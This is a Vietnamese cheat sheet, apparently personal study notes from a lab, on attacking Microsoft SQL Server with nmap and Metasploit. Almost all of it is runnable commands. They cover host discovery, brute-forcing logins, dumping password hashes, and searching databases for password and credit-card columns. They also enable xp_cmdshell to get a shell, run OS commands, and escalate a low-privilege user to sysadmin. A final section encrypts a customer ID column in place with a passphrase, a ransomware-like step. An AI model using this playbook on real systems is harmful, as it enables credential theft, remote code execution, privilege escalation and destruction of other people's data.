Attack Mssql with Metasploit Framework

1. Nmap

- nmap -h: xem các tham số cơ bản của nmap
- nmap -sn ip(ip quét): quét tất cả các máy trong nhánh mạng ip đó ví dụ: nmap -sn 10.0.2.0/24.
- nmap -A ip: quét tất cả thông tin của máy có ip này.
- nmap -O IP or hostname máy mục tiêu: xác định hệ điều hành.
- nmap -p- ip : quét các port đang mở.
- nmap -sV ip: xác định dịch vụ các port.
- nmap -O -p- -sV ip: thực hiện các thao tác trên cùng lúc.
- Quét tìm sql server:
    - nmap -p 1433 -sV <địa chỉ ip>: quét tìm qua giao thức tcp cổng 1433 (địa chỉ ở đây là địa chỉ máy tính).
    - nmap -p U:1434 -sU(UDP) -sV <địa chỉ ip đầu>-<địa chỉ ip cuối>: tìm trên một dải ip.

2. Metasploit

- msfconsole: vào màn hình console của metaploit (luôn phải vào để sử dụng meta)
- search tên dịch vụ hay lỗ hổng(từ khóa): để tìm công cụ hay modul để khai thác lỗ hổng.
- use tên công cụ : sử dụng công cụ.
- options: xem các thông số cần thiết.
- run or exploit: để chạy sau khi set xong giá trị.

3. Metas of Mssql

3.1 Quét và tìm thông tin sql server

- use auxiliary/scanner/mssql/mssql_ping: sử dụng modun này để quét.
- set RHOSTS [ip_address]: set địa chỉ máy chủ sql server đẻ quét. (VD: 192.168.1.1/24)
- run/expoit: chạy modun.

3.2 Cracking password

- Cần chuẩn bị hai file user.txt (danh sách tên đăng nhập) và pass.txt (danh sách mật khẩu đăng nhập). (Nếu biết một trong hai thì chỉ cần file còn lại).
- use auxiliary/scanner/mssql/mssql_login
- set RHOSTS [ip_address]: ip sql server.
- set USERNAME [username] or USER_FILE [path_file]: lấy một username r tìm mật khẩu.
- set PASS_FILE [path_to_password]: đường dẫn file password.
- run/exploit.

OR:

- use auxiliary/scanner/mssql/mssql_login
- set rhosts [ip_address].
- set user_file /root/users.txt: lấy username từ file có đường dẫn /root/users.txt.
- set verbose false: tắt chế độ ghi log chi tiết (giảm bớt số lượng tin in ra màn hình).
- Exploit.

3.3 Truy xuất phiên bản sql Server

- Ngoài việc truy xuất phiên bản sql thì có thể thức hiện các lệnh sql khác như là select, insert, update và delete.
- use auxiliary/admin/mssql/mssql_sql.
- set RHOSTS [ip_address].
- set username [username].
- set password [password].
- set sql select @@VERSION: truy xuất phiên bản của sql server.
- exploit/run.

Or:

- set SQL SELECT name FROM master.sys.databases: xem tất cả các database trong sql.

- set SQL SELECT SCHEMA_NAME() AS [Current Schema]

3.4 Kiểm tra cấu hình bảo mất sql server

- use auxiliary/admin/mssql/mssql_enum
- set RHOSTS [ip_address].
- set username [username].
- set password [password].
- exploit

OR:

- show tagets: hiển thị các mục tiêu
- set target taget_id
- show options: hiển thị và đặt các tùy chọn.
- exploit.

(nhớ kiểm tra hai dòng: **xp_cmdshell** và **remote access**)

Một vài thông tin hiển thị:

- **TCP Enabled**: True: Điều này có nghĩa là máy chủ SQL Server đã được cấu hình để lắng nghe các kết nối TCP1. TCP (Transmission Control Protocol) là một giao thức truyền thông mạng phổ biến, cho phép hai máy tính trao đổi dữ liệu.
- **NP Enabled**: True: Điều này có nghĩa là máy chủ SQL Server đã được cấu hình để lắng nghe các kết nối qua Named Pipes. Named Pipes là một giao thức truyền thông mạng khác, thường được sử dụng cho các kết nối trên cùng một máy hoặc trong mạng cục bộ.
- **RPC Out Enabled**: True: Điều này có nghĩa là máy chủ SQL Server cho phép các lời gọi thủ tục từ xa (RPC) tới máy chủ khác. RPC cho phép một chương trình trên một máy tính gọi một thủ tục (tức là một hàm hoặc phương thức) trên máy tính khác.
- **DAC Enabled**: False: Điều này có nghĩa là Kết nối Quản trị Dành riêng (DAC) trên máy chủ SQL Server hiện đang bị vô hiệu hóa. DAC là một kết nối đặc biệt dành cho quản trị viên, cho phép họ truy cập vào SQL Server để thực hiện các truy vấn chẩn đoán và khắc phục sự cố, ngay cả khi SQL Server không phản hồi các yêu cầu kết nối tiêu chuẩn.

- **xp_cmdshell**: Đây là một thủ tục lưu trữ mở rộng trong SQL Server, cho phép bạn thực thi các lệnh hệ điều hành Windows từ SQL Server. Ví dụ, bạn có thể sử dụng xp_cmdshell để thực hiện lệnh 'dir' để liệt kê tất cả các tệp trong một thư mục cụ thể. Tuy nhiên, xp_cmdshell là một tính năng mạnh mẽ và bị vô hiệu hóa theo mặc định vì nó có thể được sử dụng để thực hiện các hoạt động độc hại nếu rơi vào tay sai.
- **Remote Access**: Đây là khả năng truy cập vào SQL Server từ một khoảng cách xa để thao tác dữ liệu đang được lưu trữ trên SQL Server. Tính năng này cho phép bạn thực hiện các thủ tục lưu trữ từ các máy chủ cục bộ hoặc từ xa mà các phiên bản SQL Server đang chạy. Tuy nhiên, việc cấu hình truy cập từ xa cũng cần được thực hiện cẩn thận để tránh các vấn đề bảo mật.

3.5 Liệt kê danh sách người dùng

- use auxiliary/admin/mssql/mssql_enum_sql_login
- set RHOSTS [ip_address].
- set username [username].
- set password [password].
- exploit.

3.6 Tìm tất cả các thông tin các cơ sở dữ liệu khớp với từ khóa trong tùy chọn keywords

- use auxiliary/admin/mssql/mssql_findandsampledata
- set rhosts 192.168.1.3
- set username lowpriv
- set password Password@1
- set sample_size 4: chọn 4 bản ghi từ mỗi bảng bị ảnh hưởng hay thỏa mãn keywords.
- set keywords FirstName|passw|credit: tìm tất cả các cột khớp với từ khóa sau keywords.
- Exploit.

3.7 Trích xuất tên người dùng và băm mật khẩu

- use auxiliary/scanner/mssql/mssql_hashdump
- set rhosts 192.168.1.149
- set username sa
- set password Password@1
- expoit

3.8 xp_cmdshell

- use exploit/windows/mssql/mssql_payload
- set rhosts 192.168.1.3
- set username lowpriv
- set password Password@1
- exploit

Lệnh bạn đã cung cấp sẽ thực hiện một cuộc tấn công trên máy chủ SQL Server tại địa chỉ IP 192.168.1.3.

Module exploit/windows/mssql/mssql_payload trong Metasploit sẽ được sử dụng để thực thi một payload tùy ý trên máy chủ SQL Server. Payload này sẽ được tải lên và thực thi thông qua xp_cmdshell.

Bạn đã đặt rhosts thành 192.168.1.3, có nghĩa là đây là địa chỉ IP của máy chủ mục tiêu.

Bạn đã đặt username và password thành lowpriv và Password@1 tương ứng, có nghĩa là đây là thông tin đăng nhập bạn sẽ sử dụng để truy cập vào máy chủ SQL Server.

Cuối cùng, lệnh exploit sẽ bắt đầu cuộc tấn công.

Mssql_sql: `set SQL EXEC xp_cmdshell 'dir'`

Cách bật **xp_cmdshell**:

-- this turns on advanced options and is needed to configure xp_cmdshell

EXEC sp_configure 'show advanced options', '1'

RECONFIGURE

-- this enables xp_cmdshell

EXEC sp_configure 'xp_cmdshell', '1'

RECONFIGURE

Cấp quyền tin cậy cho database

USE [YourDatabaseName]

GO

ALTER DATABASE [YourDatabaseName] SET TRUSTWORTHY ON

GO

3.9 MSSQL_EXEC

- use auxiliary/admin/mssql/mssql_exec
- set rhosts 192.168.1.3
- set username lowpriv
- set password Password@1
- set cmd "net user"
- exploit.

Module auxiliary/admin/mssql/mssql_exec trong Metasploit sẽ được sử dụng để thực thi một lệnh Windows trên máy chủ SQL Server. Lệnh này sẽ được thực thi thông qua xp_cmdshell.

Bạn đã đặt rhosts thành 192.168.1.3, có nghĩa là đây là địa chỉ IP của máy chủ mục tiêu.

Bạn đã đặt username và password thành lowpriv và Password@1 tương ứng, có nghĩa là đây là thông tin đăng nhập bạn sẽ sử dụng để truy cập vào máy chủ SQL Server.

Bạn đã đặt cmd thành "net user", có nghĩa là đây là lệnh Windows bạn muốn thực thi trên máy chủ SQL Server. Lệnh net user sẽ liệt kê tất cả các tài khoản người dùng trên máy chủ Windows.

Lưu ý: tài khoản phải có quyền sysadmin mới thực hiện xp_cmdshell.

3.10 Tăng quyền lên systemadmin

- use auxiliary/admin/mssql/**mssql_escalate_dbowner**
- set rhosts 192.168.1.3
- set username lowpriv
- set password Password@1
- exploit

Module auxiliary/admin/mssql/mssql_escalate_dbowner trong Metasploit sẽ được sử dụng để nâng quyền người dùng từ db_owner lên sysadmin. Nếu người dùng có vai trò db_owner trong một cơ sở dữ liệu đáng tin cậy do một người dùng sysadmin sở hữu, module này có thể được sử dụng để nâng quyền người dùng lên sysadmin. Khi người dùng có vai trò sysadmin, module msssql_payload có thể được sử dụng để nhận shell trên hệ thống.

Kiểm tra vai trò tài khoản: mssql_sql: `set SQL SELECT r.name role_principal_name, m.name AS member_principal_name FROM sys.database_role_members rm JOIN sys.database_principals r ON rm.role_principal_id = r.principal_id JOIN sys.database_principals m ON rm.member_principal_id = m.principal_id. OR` **`EXEC sp_helpuser 'minhnhat'`**

- mssql_current_user_escalation: Lệnh này có thể được sử dụng để thêm người dùng SQL hiện tại vào nhóm sysadmin.
- Kích một người dùng ra khỏi sysasmin: mssql_sql: ALTER SERVER ROLE [role_name] DROP MEMBER [database_principal];: set SQL "ALTER SERVER ROLE sysadmin DROP MEMBER user1;"
- Thêm vai trò db_owner: mssql_sql: set SQL "EXEC sp_addrolemember N'db_owner', N'[tên người dùng]';".

Mã hóa dữ liệu: Encryptbypassphrase, Decryptbypassphrase

msf > use auxiliary/admin/mssql/mssql_sql

msf auxiliary(mssql_sql) > set RHOSTS [địa chỉ IP máy chủ]

msf auxiliary(mssql_sql) > set USERNAME [tên người dùng]

msf auxiliary(mssql_sql) > set PASSWORD [mật khẩu]

msf auxiliary(mssql_sql) > set SQL "UPDATE customer SET cccd = ENCRYPTBYPASSPHRASE('123', cccd);"

msf auxiliary(mssql_sql) > run

```
UPDATE Job SET Title = CONVERT(NVARCHAR(100), EncryptByPassPhrase('123', Title))
```

```
UPDATE Job SET Title = CONVERT(NVARCHAR(100), DecryptByPassPhrase('123', Title))
```